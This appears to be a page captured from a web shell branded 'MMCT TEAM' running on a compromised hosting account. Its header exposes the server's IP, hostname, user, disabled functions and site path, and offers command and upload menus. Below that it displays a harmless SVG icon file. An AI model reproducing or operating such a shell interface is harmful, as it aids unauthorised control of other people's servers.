MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/skyispatudyog/img/svg/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/skyispatudyog/img/svg/pi-touch-desktop.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 100 100" style="enable-background:new 0 0 100 100;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#545758;}
	.st1{fill:#FAC312;}
</style>
<g>
	<g>
		<path class="st0" d="M74.3,48v9.1c0,0,0,0,0,0L74.3,48C74.3,48,74.3,48,74.3,48z"/>
		<path class="st0" d="M76.2,19.7v22.6c-0.3,0.1-0.6,0.3-1,0.5c-1.3-0.7-2.8-1.1-4.4-1.1V19.7c0-0.7-0.6-1.3-1.3-1.3H14.5
			c-0.7,0-1.3,0.6-1.3,1.3v32.7c0,0.7,0.6,1.3,1.3,1.3h39.1v2.1c-1-0.3-2-0.5-3.1-0.5c-1.9,0-3.6,0.5-5.2,1.6
			c-0.1,0.1-0.3,0.2-0.4,0.3c-0.7,0.5-1.4,1.2-1.9,1.9c-0.9,1.2-1.5,2.6-1.7,4.2c-0.1,0.9-0.1,1.8,0,2.7c0.2,1.5,0.8,2.9,1.7,4.2
			l1.3,1.7H18.1v-5.9h15.4v-6.9h-19c-3.7,0-6.7-3-6.7-6.7V19.7c0-3.7,3-6.7,6.7-6.7h55.1C73.3,13,76.2,16,76.2,19.7z"/>
	</g>
	<path class="st1" d="M88.2,49.6c-1.2,0-2.2,0.5-2.9,1.3v8h-2V48c-0.8-1-2.1-1.6-3.4-1.6c-1.4,0-2.6,0.6-3.5,1.6v10.9h-2V48
		c0,0,0,0,0,0c0,0-0.1-0.1-0.1-0.1c-0.1-0.1-0.1-0.1-0.2-0.2c-0.1-0.1-0.2-0.2-0.3-0.3c0,0-0.1,0-0.1-0.1c0,0,0,0,0,0
		c-0.1-0.1-0.1-0.1-0.2-0.1c0,0,0,0,0,0c0,0-0.1-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.1
		c0,0-0.1,0-0.1-0.1c-0.1-0.1-0.3-0.1-0.4-0.2c0,0-0.1,0-0.1,0c0,0,0,0,0,0c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.4-0.1c0,0-0.1,0-0.1,0
		c0,0-0.1,0-0.1,0c0,0-0.1,0-0.1,0c0,0-0.1,0-0.1,0c0,0-0.1,0-0.1,0c0,0-0.1,0-0.1,0c0,0-0.1,0-0.1,0c0,0,0,0-0.1,0c0,0-0.1,0-0.1,0
		c-1.4,0-2.6,0.6-3.4,1.6v10.9h-2V32.7c-0.8-1-2.1-1.6-3.4-1.6c-1.4,0-2.6,0.6-3.4,1.6v35l-1.3-1.8l-3-4c-1.5-2-4.3-2.4-6.2-0.9
		c-0.2,0.1-0.3,0.2-0.4,0.4c0,0-0.1,0.1-0.1,0.1c0,0-0.1,0.1-0.1,0.1c0,0-0.1,0.1-0.1,0.1c0,0,0,0.1-0.1,0.1c0,0,0,0.1-0.1,0.1
		c0,0,0,0.1-0.1,0.1c0,0-0.1,0.1-0.1,0.1c0,0,0,0,0,0.1c-0.1,0.1-0.2,0.3-0.3,0.4c0,0,0,0.1,0,0.1c0,0.1-0.1,0.2-0.1,0.3
		c0,0.1-0.1,0.2-0.1,0.2c0,0,0,0.1,0,0.1c0,0,0,0.1,0,0.1c0,0.1,0,0.1-0.1,0.2c0,0,0,0.1,0,0.1c0,0.1,0,0.1,0,0.2c0,0,0,0.1,0,0.1
		c0,0,0,0.1,0,0.1c0,0,0,0.1,0,0.1c0,0,0,0.1,0,0.1c0,0,0,0,0,0.1c0,0.2,0,0.3,0,0.5c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.2
		c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0.1,0.2c0,0,0,0.1,0.1,0.1c0,0,0,0.1,0,0.1
		c0,0,0,0.1,0,0.1c0,0,0,0,0,0c0,0,0,0.1,0.1,0.1c0,0.1,0.1,0.1,0.1,0.2c0.1,0.1,0.1,0.2,0.2,0.3c0,0,0,0,0,0.1c0,0,0.1,0.1,0.1,0.1
		l3.4,4.6L61.6,87h22.9l7.6-7.6V53.6C92.1,51.4,90.4,49.6,88.2,49.6z"/>
</g>
</svg>

MMCT - 2023